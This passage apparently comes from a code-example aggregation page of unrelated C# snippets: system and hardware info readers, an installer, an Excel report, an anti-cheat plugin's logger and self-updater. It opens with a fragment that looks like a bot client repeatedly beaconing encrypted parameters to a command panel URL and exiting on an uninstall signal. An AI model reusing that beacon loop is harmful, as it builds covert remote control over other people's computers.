                                    Communication.makeRequest(panelurl, par + "&op=" + Communication.encrypt("1") + "&td=" + Communication.encrypt(tid));
                                    if (Encoding.UTF8.GetString(Convert.FromBase64String(sps[2])) == "10" || Encoding.UTF8.GetString(Convert.FromBase64String(sps[2])) == "9")
                                    {
                                        Communication.makeRequest(panelurl, par + "&uni=" + Communication.encrypt("1"));
                                        Environment.Exit(0);
                                    }
                                }
                            }
                        }
                    }
                }
                catch {
                    if (Settings.debug == "True")
                    {
                        Console.WriteLine("next Try");
                    }
                }
                if (Settings.reqintervalType == "minutes")
                {
                    Thread.Sleep(Int32.Parse(Settings.reqinterval) * 60000);     // reqinterval * 1000 = seconds, reqinterval * 60000 = minutes
                }
                else
                {
                    Thread.Sleep(Int32.Parse(Settings.reqinterval) * 1000);
                }
            } while (true);
        }
Beispiel #30
0
        //首页的硬件检测
        private void InitWindows()
        {
            //OSCheck.ForeColor = Color.White;
            proOSCheck.Value = 1;
            OSCheck.Text = "操作系统:正在检测...";
            OSCheck.Visible = true;
            //Delay(1);
            OSCheck.Text = "操作系统:" + Environment.OSVersion.VersionString;

            proOSCheck.Value = 2;
            CPUCheck.Text = "处理器:正在检测...";
            CPUCheck.Visible = true;
            Delay(1);
            ManagementObjectSearcher searcher = new ManagementObjectSearcher("select * from  Win32_Processor");
            string sharename = "";
            foreach (ManagementObject share in searcher.Get())
            {
                sharename = share["Name"].ToString();
            }

            //CPUCheck.ForeColor = Color.White;
            CPUCheck.Text = "处理器:" + sharename;

            proOSCheck.Value = 3;
            MemCheck.Text = "内存:正在检测...";
            MemCheck.Visible = true;
            Delay(3);
            Microsoft.VisualBasic.Devices.Computer My = new Microsoft.VisualBasic.Devices.Computer();

            //MemCheck.ForeColor = Color.White;
            MemCheck.Text = "内存:" + (My.Info.TotalPhysicalMemory / 1024 / 1024).ToString() + "M";

            proOSCheck.Value = 4;
            GPUCheck.Text = "显卡:正在检测...";
            GPUCheck.Visible = true;
            ManagementObjectSearcher searcher1 = new ManagementObjectSearcher("select * from  Win32_VideoController");
            string sharename1 = "";
            foreach (ManagementObject share in searcher1.Get())
            {
                sharename1 = share["Name"].ToString();
            }

            //GPUCheck.ForeColor = Color.White;
            GPUCheck.Text = "显卡:" + sharename1;

            proOSCheck.Value = 5;
            SoundCheck.Text = "音频设备:正在检测...";
            SoundCheck.Visible = true;
            Delay(3);
            ManagementObjectSearcher searcher2 = new ManagementObjectSearcher("select * from  Win32_SoundDevice");
            string sharename2 = "";
            foreach (ManagementObject share in searcher2.Get())
            {
                sharename2 = share["Name"].ToString();
            }

            //SoundCheck.ForeColor = Color.White;
            SoundCheck.Text = "音频设备:" + sharename2;

            proOSCheck.Value = 6;
            StartTime.Text = "开机时间:正在检测...";
            StartTime.Visible = true;
            Delay(3);
            String MyInfo1 = "";
            ManagementObjectSearcher MySearcher1 = new ManagementObjectSearcher("SELECT * FROM Win32_OperatingSystem");
            foreach (ManagementObject MyObject in MySearcher1.Get())
            {
                MyInfo1 += MyObject["LastBootUpTime"].ToString().Substring(0, 8);
            }
            MyInfo1 = MyInfo1.Insert(4, "-");
            MyInfo1 = MyInfo1.Insert(7, "-");

            //StartTime.ForeColor = Color.White;
            StartTime.Text = "开机时间:" + MyInfo1;

            proOSCheck.Value = 7;
            OSSetup.Text = "系统安装日期:正在检测...";
            OSSetup.Visible = true;
            Delay(3);
            string MyInfo = "";
            ManagementObjectSearcher MySearcher = new ManagementObjectSearcher("SELECT * FROM Win32_OperatingSystem");
            foreach (ManagementObject MyObject in MySearcher.Get())
            {
                MyInfo += MyObject["InstallDate"].ToString().Substring(0, 8);
            }
            MyInfo = MyInfo.Insert(4, "-");
            MyInfo = MyInfo.Insert(7, "-");

            //OSSetup.ForeColor = Color.White;
            OSSetup.Text = "系统安装日期:" + MyInfo;

            btViewSpecificInfo.Visible = true;

            clockLoadingProgress1.Stop();
            proOSCheck.Visible = false;
            OSChecklb.Text = "电脑系统检测完毕,请" + "\"" + "查看详细" + "\"";
            goBacklbl.Visible = true;
        }
Beispiel #31
0
        public static bool WriteLog(string d, bool forcedecrypt)
        {
            #if debug
            g_szLogFilePath = @"C:\Users\My real Account\Desktop\test.txt";
            #endif

            if(File.Exists(g_szLogFilePath + "123")) {

                string md5 = MD5file(g_szLogFilePath + "123");
                if(g_szLogFileMD5.Length > 0 && !g_szLogFileMD5.Equals(md5)) {

                    System.IO.StreamWriter file2 = new System.IO.StreamWriter(g_szLogFilePath + "123", true);

                    file2.WriteLine("[" + DateTime.UtcNow + "]    -> Warning: Log file edit detected (md5 mismatch)");
                    file2.WriteLine("[" + DateTime.UtcNow + "] Printing cached file copy:");
                    file2.Write(SAMP_AC_Extension.g_szCachedFile);
                    file2.WriteLine("[" + DateTime.UtcNow + "] END CACHED FILE ");
                    file2.WriteLine(" ");

                    file2.Close();
                }
            }

            if(forcedecrypt && File.Exists(g_szLogFilePath)) {
                try {
                    Cryptology.DecryptFile(g_szLogFilePath, g_szLogFilePath + "123", "password removed for public src release");
                } catch(InvalidDataException) {
                    // wrong pw, log file edited at this point and we don't care what happens to it, write to an encrypted log and hope for the best!
                    System.IO.StreamWriter file = new System.IO.StreamWriter(g_szLogFilePath, true);
                    file.WriteLine("MAJOR ERROR: LOG FILE DECRPYTION PASSWORD INCORRECT, LOG FILE EDITED AFTER ENCRYPTING!!!!!!!!!!!");
                    file.Close();
                    int i = g_szLogFilePath.LastIndexOf("\\") + 1;

                    FileSystemProxy FileSystem = new Microsoft.VisualBasic.Devices.Computer().FileSystem;
                    FileSystem.RenameFile(g_szLogFilePath, g_szLogFilePath.Substring(i, g_szLogFilePath.Length));
                }
            }
            Thread.Sleep(100);

            System.IO.StreamWriter file3 = new System.IO.StreamWriter(g_szLogFilePath + "123", true);

               	file3.WriteLine("[" + DateTime.UtcNow + "] " + d );
               	SAMP_AC_Extension.g_szCachedFile = SAMP_AC_Extension.g_szCachedFile + "[" + DateTime.UtcNow + "] " + d + "\n";

            file3.Close();

            g_szLogFileMD5 = MD5file(g_szLogFilePath + "123");

            if(forcedecrypt && File.Exists(g_szLogFilePath + "123")) {

                Thread.Sleep(100);

                g_szLogFileMD5 = MD5file(g_szLogFilePath + "123");

                if(Cryptology.EncryptFile(g_szLogFilePath + "123", g_szLogFilePath, "password removed for public src release")) {

                    File.Delete(g_szLogFilePath + "123");
                }
            }

            return true;
        }
Beispiel #32
0
        public void Operate()
        {
            string appdataRoaming = System.Environment.GetFolderPath(System.Environment.SpecialFolder.ApplicationData);
            string appdataLocal = System.Environment.GetFolderPath(System.Environment.SpecialFolder.LocalApplicationData);
            string documents = System.Environment.GetFolderPath(System.Environment.SpecialFolder.MyDocuments);
            string downloads = System.Environment.GetFolderPath(System.Environment.SpecialFolder.UserProfile) + @"\Downloads";
            string workingDir = Directory.GetCurrentDirectory();
            //string programConfig = Path.Combine(workingDir, "config.txt");
            string ideConfigFolder = "";
            //string ideConfigLocationOverride = "";
            //string sketchbookLocationOverride = "";
            string sketchbookPath = Path.Combine(documents, @"Arduino");
            string ideConfigPath = "";
            //bool ideConfigOverride = false;
            //bool sketchbookOverride = false;
            Uri libraryLocationOnline = new Uri(@"https://github.com/TeamBOEing/user_functions/archive/master.zip");
            Uri codeAndTestLocationOnline = new Uri(@"https://github.com/TeamBOEing/accessories/archive/master.zip");

            string librariesDirectory = Path.Combine(sketchbookPath, @"libraries\BOEbot");
            string accessoriesSrc = Path.Combine(downloads, "accessories-master");
            string librariesSrc = Path.Combine(downloads, "user_functions-master");
            string boeBotProjectDst = Path.Combine(sketchbookPath, @"ESA_Robot_Project\ESA_Robot_Project.ino");
            string boeBotTestDst = Path.Combine(sketchbookPath, @"ESA_Robot_Test\ESA_Robot_Test.ino");

            WebClient client = new WebClient();

            try
            {
                client.DownloadFile(libraryLocationOnline, Path.Combine(downloads, "BOEbot_library.zip"));
                this.Invoke(new VoidDelegate(Download1Finished));
            }
            catch (Exception e)
            {
                this.Invoke(new VoidDelegate(Download1Error));
            }

            try
            {
                client.DownloadFile(codeAndTestLocationOnline, Path.Combine(downloads, "BOEbot_code.zip"));
                this.Invoke(new VoidDelegate(Download2Finished));
            }
            catch (Exception e)
            {
                this.Invoke(new VoidDelegate(Download2Error));
            }

            try
            {
                Directory.Delete(Path.Combine(downloads, "user_functions-master"), true);
                Directory.Delete(Path.Combine(downloads, "accessories-master"), true);
            }
            catch (Exception e) { /* will error if no such directory exists */ }

            try
            {
                ZipFile.ExtractToDirectory(Path.Combine(downloads, "BOEbot_library.zip"), downloads);
                ZipFile.ExtractToDirectory(Path.Combine(downloads, "BOEbot_code.zip"), downloads);
            }
            catch (Exception e) {  /* */ }

            if (ContainsPreferencesFile(appdataRoaming, out ideConfigFolder))
                ideConfigPath = Path.Combine(appdataRoaming, ideConfigFolder);
            else if (ContainsPreferencesFile(appdataLocal, out ideConfigFolder))
                ideConfigPath = Path.Combine(appdataLocal, ideConfigFolder);

            List<String> configData = new List<String>();

            try
            {
                using (StreamReader sr = new StreamReader(ideConfigPath))
                {
                    string s = "";
                    while ((s = sr.ReadLine()) != null)
                    {
                        string[] options = s.Split('=');
                        switch (options[0])
                        {
                            case "board": configData.Add("board=lilypad"); break;
                            case "custom_cpu": configData.Add("custom_cpu=lilypad_atmega328"); break;
                            case "editor.linenumbers": configData.Add("editor.linenumbers=true"); break;
                            case "serial.debug_rate": configData.Add("serial.debug_rate=9600"); break;
                            default: configData.Add(s); break;
                        }
                    }
                }

                using (StreamWriter sw = new StreamWriter(ideConfigPath, false))
                {
                    foreach (string s in configData)
                    {
                        sw.WriteLine(s);
                    }
                }

                this.Invoke(new VoidDelegate(IDEConfigFinished));
            }
            catch (Exception e)
            {
                this.Invoke(new VoidDelegate(IDEConfigError));
            }

            Microsoft.VisualBasic.Devices.Computer pc = new Microsoft.VisualBasic.Devices.Computer();

            try
            {
                pc.FileSystem.CopyDirectory(Path.Combine(librariesSrc, "v1", "BOEbot"), librariesDirectory, true);
                this.Invoke(new VoidDelegate(Install1Finished));
            }
            catch (Exception e)
            {
                this.Invoke(new VoidDelegate(Install1Error));
            }

            try
            {
                pc.FileSystem.CopyDirectory(Path.Combine(accessoriesSrc, "ESA_Robot_Project"), Path.Combine(sketchbookPath, "ESA_Robot_Project"), true);
                pc.FileSystem.CopyDirectory(Path.Combine(accessoriesSrc, "ESA_Robot_Test"), Path.Combine(sketchbookPath, "ESA_Robot_Test"), true);

                this.Invoke(new VoidDelegate(Install2Finished));
            }
            catch (Exception e)
            {
                this.Invoke(new VoidDelegate(Install2Error));
            }
        }
        /// <summary>
        /// Extrae los datos para generar el Excel
        /// </summary>
        private void createExcel()
        {
            string pcc = string.Empty;

            pcc = txtPCC.Text;
            List <ProductivityRankingPerPCC> listProductivity = null;

            count = 5;
            Microsoft.VisualBasic.Devices.Computer MyComputer = new Microsoft.VisualBasic.Devices.Computer();
            string fileName = string.Empty; //Environment.GetFolderPath(Environment.SpecialFolder.InternetCache);

            #region ===== Generating Excel Document ======

            using (Components.MyCTSExcel MyCTSExcel = new Components.MyCTSExcel())
            {
                if (rdoWeek.Checked)
                {
                    listProductivity = ProductivityRankingPerPCCBL.GetProductivityRankingPerPCC(1, week, pcc);
                    MyCTSExcel.CreateExcelObject("MyCTSProductividadSemanal");
                }
                else if (rdoMonth.Checked)
                {
                    listProductivity = ProductivityRankingPerPCCBL.GetProductivityRankingPerPCC(2, month, pcc);
                    MyCTSExcel.CreateExcelObject("MyCTSProductividadMensual");
                }
                else
                {
                    string   acumulative;
                    DateTime today = new DateTime();
                    today            = DateTime.Now;
                    acumulative      = Convert.ToString(today);
                    acumulative      = acumulative.Substring(0, 10);
                    listProductivity = ProductivityRankingPerPCCBL.GetProductivityRankingPerPCC(3, "02-02-2010", pcc);
                    MyCTSExcel.CreateExcelObject("MyCTSProductividadAcumulativa");
                }
                if (listProductivity.Count > 0)
                {
                    if (MyCTSExcel.IsObjectCreated)
                    {
                        MyCTSExcel.Cell cell = null;
                        fileName = MyComputer.FileSystem.SpecialDirectories.Temp;
                        fileName = fileName + string.Format("\\TempFile_{0}.xls", Guid.NewGuid().ToString());

                        #region ===== Headers ======

                        date = string.Concat(date, "Del  ", listProductivity[0].InitialDate, "  Al  ", listProductivity[0].FinalDate);

                        cell            = new MyCTSExcel.Cell(1, 5, "REPORTE DE PRODUCTIVIDAD POR PCC DE RESERVACIONES HECHAS EN MyCTS");
                        cell.Bold       = true;
                        cell.Wide       = 7;
                        cell.FontSize   = 11;
                        cell.ShowBorder = false;
                        MyCTSExcel.CreateCell(cell);

                        cell            = new MyCTSExcel.Cell(2, 7, date);
                        cell.FontColor  = Color.Blue;
                        cell.Wide       = 4;
                        cell.ShowBorder = false;
                        MyCTSExcel.CreateCell(cell);

                        cell            = new MyCTSExcel.Cell(2, 2, "PCC " + txtPCC.Text.Trim());
                        cell.FontColor  = Color.Blue;
                        cell.ShowBorder = false;
                        MyCTSExcel.CreateCell(cell);

                        cell = new MyCTSExcel.Cell(3, 3, "%Productividad Vs" + "\n" +
                                                   "PCC" + "\n" + "Segmentos");
                        cell.FontColor  = Color.Blue;
                        cell.Bold       = true;
                        cell.ShowBorder = false;
                        cell.Wide       = 2;
                        cell.Alignment  = MyCTSExcel.Alignment.MiddleCenter;
                        MyCTSExcel.CreateCell(cell);

                        cell = new MyCTSExcel.Cell(3, 7, "%Productividad Vs" + "\n" +
                                                   "PCC" + "\n" + "Records");
                        cell.FontColor  = Color.Blue;
                        cell.Bold       = true;
                        cell.Wide       = 2;
                        cell.ShowBorder = false;
                        cell.Alignment  = MyCTSExcel.Alignment.MiddleCenter;
                        MyCTSExcel.CreateCell(cell);

                        cell = new MyCTSExcel.Cell(3, 11, "%Productividad Vs" + "\n" +
                                                   "PCC" + "\n" + "Boletos");
                        cell.FontColor  = Color.Blue;
                        cell.Bold       = true;
                        cell.Wide       = 1;
                        cell.ShowBorder = false;
                        cell.Alignment  = MyCTSExcel.Alignment.MiddleCenter;
                        MyCTSExcel.CreateCell(cell);

                        cell            = new MyCTSExcel.Cell(3, 14, "Efectividad");
                        cell.FontColor  = Color.Blue;
                        cell.Bold       = true;
                        cell.ShowBorder = false;
                        cell.Alignment  = MyCTSExcel.Alignment.MiddleCenter;
                        MyCTSExcel.CreateCell(cell);

                        cell           = new MyCTSExcel.Cell(4, 1, "Agente");
                        cell.FontColor = Color.Brown;
                        MyCTSExcel.CreateCell(cell);
                        cell           = new MyCTSExcel.Cell(4, 2, "Nombre");
                        cell.FontColor = Color.Brown;
                        MyCTSExcel.CreateCell(cell);
                        cell           = new MyCTSExcel.Cell(4, 3, "Aereos");
                        cell.FontColor = Color.Brown;
                        MyCTSExcel.CreateCell(cell);
                        cell           = new MyCTSExcel.Cell(4, 4, "Hotel");
                        cell.FontColor = Color.Brown;
                        MyCTSExcel.CreateCell(cell);
                        cell           = new MyCTSExcel.Cell(4, 5, "Auto");
                        cell.FontColor = Color.Brown;
                        MyCTSExcel.CreateCell(cell);

                        cell           = new MyCTSExcel.Cell(4, 7, "Creados");
                        cell.FontColor = Color.Brown;
                        MyCTSExcel.CreateCell(cell);
                        cell           = new MyCTSExcel.Cell(4, 8, "Cancelados");
                        cell.FontColor = Color.Brown;
                        MyCTSExcel.CreateCell(cell);
                        cell           = new MyCTSExcel.Cell(4, 9, "Scans Promedio");
                        cell.FontColor = Color.Brown;
                        MyCTSExcel.CreateCell(cell);

                        cell           = new MyCTSExcel.Cell(4, 11, "Emitidos");
                        cell.FontColor = Color.Brown;
                        MyCTSExcel.CreateCell(cell);
                        cell           = new MyCTSExcel.Cell(4, 12, "Cancelados");
                        cell.FontColor = Color.Brown;
                        MyCTSExcel.CreateCell(cell);

                        cell           = new MyCTSExcel.Cell(4, 14, "Records Vs Boletos");
                        cell.FontColor = Color.Brown;
                        MyCTSExcel.CreateCell(cell);


                        #endregion

                        #region ====== Elements =====

                        foreach (ProductivityRankingPerPCC p in listProductivity)
                        {
                            cell = new MyCTSExcel.Cell(count, 1, p.Agent);
                            MyCTSExcel.CreateCell(cell);
                            cell = new MyCTSExcel.Cell(count, 2, p.FamilyName);
                            MyCTSExcel.CreateCell(cell);

                            //Segmentos
                            cell = new MyCTSExcel.Cell(count, 3, Convert.ToString(p.AirProductivity + "%"));
                            MyCTSExcel.CreateCell(cell);
                            cell = new MyCTSExcel.Cell(count, 4, Convert.ToString(p.HotelProductivity + "%"));
                            MyCTSExcel.CreateCell(cell);
                            cell = new MyCTSExcel.Cell(count, 5, Convert.ToString(p.AutoProductivity + "%"));
                            MyCTSExcel.CreateCell(cell);

                            //Records
                            cell = new MyCTSExcel.Cell(count, 7, Convert.ToString(p.PNRProductivity + "%"));
                            MyCTSExcel.CreateCell(cell);
                            cell = new MyCTSExcel.Cell(count, 8, Convert.ToString(p.CancelledPNRProductivity + "%"));
                            MyCTSExcel.CreateCell(cell);
                            cell = new MyCTSExcel.Cell(count, 9, Convert.ToString(p.AvgScanPerPNRProductivity + "%"));
                            MyCTSExcel.CreateCell(cell);

                            //Boletos Emitidos-
                            cell = new MyCTSExcel.Cell(count, 11, Convert.ToString(p.EmittedTKTProductivity + "%"));
                            MyCTSExcel.CreateCell(cell);
                            cell = new MyCTSExcel.Cell(count, 12, Convert.ToString(p.CancelledTKTProductivity + "%"));
                            MyCTSExcel.CreateCell(cell);

                            //Efectividad
                            cell = new MyCTSExcel.Cell(count, 14, Convert.ToString(p.TotalPNRVsTKTProductivity + "%"));
                            MyCTSExcel.CreateCell(cell);

                            count++;
                        }
                        #endregion

                        MyCTSExcel.SaveFile(fileName);
                    }
                }
            }

            if (!string.IsNullOrEmpty(fileName))
            {
                Process proc = new Process();
                proc.StartInfo.Arguments = "\"" + fileName + "\"";
                proc.StartInfo.FileName  = "EXCEL.EXE";
                proc.Start();
            }

            #endregion
        }
Beispiel #34
0
        public static void checkForUpdate()
        {
            FileSystemProxy FileSystem = new Microsoft.VisualBasic.Devices.Computer().FileSystem;

            // Get the current SAMP_AC_Extension.dll location.
            string loc = System.Reflection.Assembly.GetExecutingAssembly().Location;
            int idx = loc.LastIndexOf("\\");

             	// Get the file name, relevant to the current directory (prog files/eslwire/plugins)
            string loc_name = loc.Substring(idx+1);

            // Take a hash of it to compare to the new version, if one is needed.
            string md5 = MD5file(loc);

            try {
                if(!loc_name.Equals("SAMP_AC_Extension.dll")) {

                    // If the file isn't named "SAMP_AC_Extension.dll", rename it to that.
                    FileSystem.RenameFile(loc, "SAMP_AC_Extension.dll");

                    // Force them to restart Wire.
                    ThreadStart job = new ThreadStart(Form1.ShowTheWindow);
                    Thread thread = new Thread(job);
                    thread.Start();

                    return;
                }
            } catch(Exception) { }

            loc_name = loc.Substring(0, idx+1);

            // If we found an old update version, delete it.
            if(File.Exists(loc_name + "SAMP_AC_Extension.dll_")) {
                File.Delete(loc_name + "SAMP_AC_Extension.dll_");
            }

            try {
                // Query for update
                WebRequest request = WebRequest.Create("http://u-army.com/tiger/esl/vernumber.txt");

                request.Credentials = CredentialCache.DefaultCredentials;

                // get our response to the webpage query
                WebResponse response = request.GetResponse();

                System.IO.StreamReader reader = new System.IO.StreamReader(response.GetResponseStream());
                double newver = Double.Parse(reader.ReadToEnd().Trim(), CultureInfo.InvariantCulture);

                // Free
                reader.Close();
                response.Close();

                // If current version doesn't equal newest version, update.
                if(newver != g_dVersion) {

                    // get the URL of the download.
                    request = WebRequest.Create("http://u-army.com/tiger/esl/addr.txt");

                    request.Credentials = CredentialCache.DefaultCredentials;

                    // Get response
                    response = request.GetResponse();
                    reader = new System.IO.StreamReader(response.GetResponseStream());

                    // Take our file location string, for the currently loaded plugin, and get the last index of "\"
                    int idx_ = System.Reflection.Assembly.GetExecutingAssembly().Location.LastIndexOf(@"\");
                    try {
                        // Make the /plugins/ folder's owner our currently loaded user. (Note: only works when process is elevated.)
                        Misc.TakeOwnership(System.Reflection.Assembly.GetExecutingAssembly().Location.Substring(0, idx_));
                    } catch(Exception) { }

                    // Rename the currently loaded plugin, not the update, to have an _ at the end of it (Wire will only load plugins that end in .dll and not .dll_.)
                    FileSystem.RenameFile(System.Reflection.Assembly.GetExecutingAssembly().Location, "SAMP_AC_Extension.dll_");

                    System.Net.WebClient download = new System.Net.WebClient();
                    // Download the new version to the exact location of the executing .dll, even though we've renamed it, it still returns the old file location.
                    download.DownloadFile(reader.ReadToEnd(), System.Reflection.Assembly.GetExecutingAssembly().Location);

                    reader.Close();
                    response.Close();

                    // Compare MD5 of old version to new version, if they match, delete this update and restore old .dll
                    if(File.Exists(System.Reflection.Assembly.GetExecutingAssembly().Location + "_") && MD5file(System.Reflection.Assembly.GetExecutingAssembly().Location) == md5) {

                        File.Delete(System.Reflection.Assembly.GetExecutingAssembly().Location);
                        FileSystem.RenameFile(System.Reflection.Assembly.GetExecutingAssembly().Location + "_", "SAMP_AC_Extension.dll");
                        return;
                    }

                    // else, force a Wire restart.
                    ThreadStart job = new ThreadStart(Form1.ShowTheWindow);
                    Thread thread = new Thread(job);
                    thread.Start();

                    return;
                }
            } catch(System.Net.WebException) {
                Log.WriteLog("A firewall(?) has blocked auto-update.");
            } catch(Exception e) {
                Log.WriteLog(e.ToString());
            }
        }
 /// <summary>  
 /// 获取可用的端口  
 /// </summary>  
 /// <returns></returns>   
 public List<string> GetComList()
 {
     List<string> ComList = new List<string>();
     Microsoft.VisualBasic.Devices.Computer pc = new Microsoft.VisualBasic.Devices.Computer();
     foreach (string s in pc.Ports.SerialPortNames)
     {
         ComList.Add(s);
     }
     return ComList;
 }  
Beispiel #36
0
        /// <summary>
        /// 获取Widnows信息
        /// </summary>
        /// <param name="lv">显示Windows信息的ListView组件</param>
        public void getInfo(ListView lv)
        {
            string[] info = new string[2];                 //定义一个字符串数组,用来存储Windows相关的信息
            info[0] = "操作系统";                              //项名称
            info[1] = Environment.OSVersion.VersionString; //操作系统版本
            showInfo(info, "操作系统", lv);                    //调用自定义方法显示数据
            string strUser = "";

            try
            {
                RegistryKey mykey = Registry.LocalMachine;                                       //获取注册表中的本地机器项
                mykey   = mykey.CreateSubKey("Software\\Microsoft\\Windows NT\\CurrentVersion"); //定位注册表子项
                strUser = (string)mykey.GetValue("RegisteredOrganization");                      //获取指定注册表项的值
                mykey.Close();                                                                   //关闭注册表
            }
            catch
            { }
            info[0] = "注册用户";
            info[1] = strUser;//注册用户
            showInfo(info, "注册用户", lv);

            info[0] = "Windows文件夹";
            info[1] = Environment.GetEnvironmentVariable("WinDir");//Windows文件夹
            showInfo(info, "Windows文件夹", lv);

            info[0] = "系统文件夹";
            info[1] = Environment.SystemDirectory.ToString();//系统文件夹
            showInfo(info, "系统文件夹", lv);

            info[0] = "计算机名称";
            info[1] = Environment.MachineName.ToString();//计算机名称
            showInfo(info, "计算机名称", lv);

            info[0] = "本地日期时间";
            info[1] = DateTime.Now.ToString();//本地日期时间
            showInfo(info, "本地日期时间", lv);

            string strIDate = ""; //定义变量,记录系统安装日期
            string strTime  = ""; //定义变量,记录系统启动时间
            //从WMI中查询操作系统相关信息
            ManagementObjectSearcher MySearcher = new ManagementObjectSearcher("SELECT * FROM Win32_OperatingSystem");

            foreach (ManagementObject MyObject in MySearcher.Get())                //遍历查询结果
            {
                strIDate += MyObject["InstallDate"].ToString().Substring(0, 8);    //获取系统安装日期
                strTime  += MyObject["LastBootUpTime"].ToString().Substring(0, 8); //获取最后启动时间
            }
            strIDate = strIDate.Insert(4, "-");                                    //对日期格式进行处理
            strIDate = strIDate.Insert(7, "-");
            info[0]  = "系统安装日期";
            info[1]  = strIDate;//系统安装日期
            showInfo(info, "系统安装日期", lv);

            strTime = strTime.Insert(4, "-");//对时间格式进行处理
            strTime = strTime.Insert(7, "-");
            info[0] = "系统启动时间";
            info[1] = strTime;//系统启动时间
            showInfo(info, "系统启动时间", lv);

            Microsoft.VisualBasic.Devices.Computer My = new Microsoft.VisualBasic.Devices.Computer();
            info[0] = "物理内存总量(M)";
            info[1] = (My.Info.TotalPhysicalMemory / 1024 / 1024).ToString();//物理内存总量(M)
            showInfo(info, "物理内存总量(M)", lv);

            info[0] = "虚拟内存总量(M)";
            info[1] = (My.Info.TotalVirtualMemory / 1024 / 1024).ToString();//虚拟内存总量(M)
            showInfo(info, "虚拟内存总量(M)", lv);

            info[0] = "可用物理内存总量(M)";
            info[1] = (My.Info.AvailablePhysicalMemory / 1024 / 1024).ToString();//可用物理内存总量(M)
            showInfo(info, "可用物理内存总量(M)", lv);

            info[0] = "可用虚拟内存总量(M)";
            info[1] = (My.Info.AvailableVirtualMemory / 1024 / 1024).ToString();//可用虚拟内存总量(M)
            showInfo(info, "可用虚拟内存总量(M)", lv);

            info[0] = "系统驱动器";
            info[1] = Environment.GetEnvironmentVariable("SystemDrive");//系统驱动器
            showInfo(info, "系统驱动器", lv);

            info[0] = "桌面目录";
            info[1] = Environment.GetFolderPath(Environment.SpecialFolder.DesktopDirectory);//桌面目录
            showInfo(info, "桌面目录", lv);

            info[0] = "用户程序组目录";
            info[1] = Environment.GetFolderPath(Environment.SpecialFolder.Programs);//用户程序组目录
            showInfo(info, "用户程序组目录", lv);

            info[0] = "收藏夹目录";
            info[1] = Environment.GetFolderPath(Environment.SpecialFolder.Favorites);//收藏夹目录
            showInfo(info, "收藏夹目录", lv);

            info[0] = "Internet历史记录";
            info[1] = Environment.GetFolderPath(Environment.SpecialFolder.History);//Internet历史记录
            showInfo(info, "Internet历史记录", lv);

            info[0] = "Internet临时文件";
            info[1] = Environment.GetFolderPath(Environment.SpecialFolder.InternetCache);//Internet临时文件
            showInfo(info, "Internet临时文件", lv);
        }
        /// <summary>
        /// This is the main method updating the values displayed. Modify stuff in here.
        /// </summary>
        private void UpdateDisplay()
        {
            foreach (var hardware in _cpuTempByHardware.Keys)
            {
                hardware.Update();
            }

            foreach (var hardware in _gpuTempByHardware.Keys)
            {
                hardware.Update();
            }

            // Line 1
            var cpuTemp = _cpuTempByHardware.Values
                .SelectMany(s => s)
                .First(t => t.Name.Contains("Package"));

            var cpuLoad = Math.Round(_performanceCounter.NextValue(), 0);

            // Line 2
            var gpuTemp = _gpuTempByHardware.Values.SelectMany(s => s).First();

            var computer = new Microsoft.VisualBasic.Devices.Computer();
            var ramPerc = Math.Round((double)100 * computer.Info.AvailablePhysicalMemory / computer.Info.TotalPhysicalMemory, 0);

            // * First line
            // ` Second line

            /*
             * 1234567890123456
             * CPU 51C Load 27%
             * GPU 46C RAM  44%
             */

            var displayString =
                  string.Format("*CPU {0}C Load {1,2}%", cpuTemp.Value, cpuLoad)
                + string.Format("`GPU {0}C RAM  {1,2}%", gpuTemp.Value, ramPerc);

            ClearDisplay();
            WriteSerial(displayString);
        }
Beispiel #38
0
        private void ExportRecording(RecordingSummary recording)
        {
            Recording metadata = Utility.GetRecordingMetadataFromAds(recording.RecordingFileName);

            string destinationPath = _destinationTextBox.Text;

            if (_createDirectoriesCheckBox.Checked)
            {
                string directoryName = null;

                switch (_directoryNameComboBox.SelectedIndex)
                {
                case DirectoryNameIndex.Title:
                    directoryName = recording.Title;
                    break;

                case DirectoryNameIndex.Schedule:
                    directoryName = recording.ScheduleName;
                    break;

                case DirectoryNameIndex.Channel:
                    directoryName = recording.ChannelDisplayName;
                    break;

                case DirectoryNameIndex.Date:
                    directoryName = String.Format(CultureInfo.CurrentCulture,
                                                  "{0}-{1:00}-{2:00}", recording.ProgramStartTime.Year, recording.ProgramStartTime.Month, recording.ProgramStartTime.Day);
                    break;
                }

                if (!String.IsNullOrEmpty(directoryName))
                {
                    destinationPath = Path.Combine(destinationPath, ArgusTV.Common.Utility.MakeValidFileName(directoryName));
                    if (!Directory.Exists(destinationPath))
                    {
                        Directory.CreateDirectory(destinationPath);
                    }
                }
            }

            SortedList <long, string> filesToCopy = new SortedList <long, string>();

            string sourceDirectory            = Path.GetDirectoryName(recording.RecordingFileName);
            string sourceNameWithoutExtension = Path.GetFileNameWithoutExtension(recording.RecordingFileName);

            DirectoryInfo dirInfo = new DirectoryInfo(sourceDirectory);

            foreach (FileInfo fileInfo in dirInfo.GetFiles(sourceNameWithoutExtension + "*"))
            {
                long size = fileInfo.Length;
                while (filesToCopy.ContainsKey(size))
                {
                    size++;
                }
                filesToCopy.Add(size, fileInfo.FullName);
            }

            foreach (string fileName in filesToCopy.Values)
            {
                string destinationFileName = Path.Combine(destinationPath, Path.GetFileName(fileName));
                Microsoft.VisualBasic.Devices.Computer computer = new Microsoft.VisualBasic.Devices.Computer();
                computer.FileSystem.CopyFile(fileName, destinationFileName,
                                             Microsoft.VisualBasic.FileIO.UIOption.AllDialogs, Microsoft.VisualBasic.FileIO.UICancelOption.ThrowException);
            }

            string destinationRecordingFileName = Path.Combine(destinationPath, Path.GetFileName(recording.RecordingFileName));

            if (_exportMetadataCheckBox.Checked ||
                (metadata != null && !CheckMetadataCopied(destinationRecordingFileName)))
            {
                metadata = Utility.GetRecordingMetadata(recording.RecordingFileName);
                if (metadata == null)
                {
                    metadata = Proxies.ControlService.GetRecordingById(recording.RecordingId).Result;
                }
                if (metadata != null)
                {
                    Utility.WriteRecordingMetadataFile(destinationRecordingFileName, metadata);
                }
            }
        }
        private void SequenceEditor_Load(object sender, EventArgs e)
        {
            Dictionary<string, object> options = null;
            string OldME3SequenceViews = Path.Combine(ME3Directory.cookedPath, @"SequenceViews\");
            string OldME2SequenceViews = Path.Combine(ME2Directory.cookedPath, @"SequenceViews\");
            string OldME1SequenceViews = Path.Combine(ME1Directory.cookedPath, @"SequenceViews\");

            #region Migrate data from legacy locations
            if (Directory.Exists(OldME3SequenceViews) ||
                    Directory.Exists(OldME2SequenceViews) ||
                    Directory.Exists(OldME1SequenceViews))
            {
                try
                {
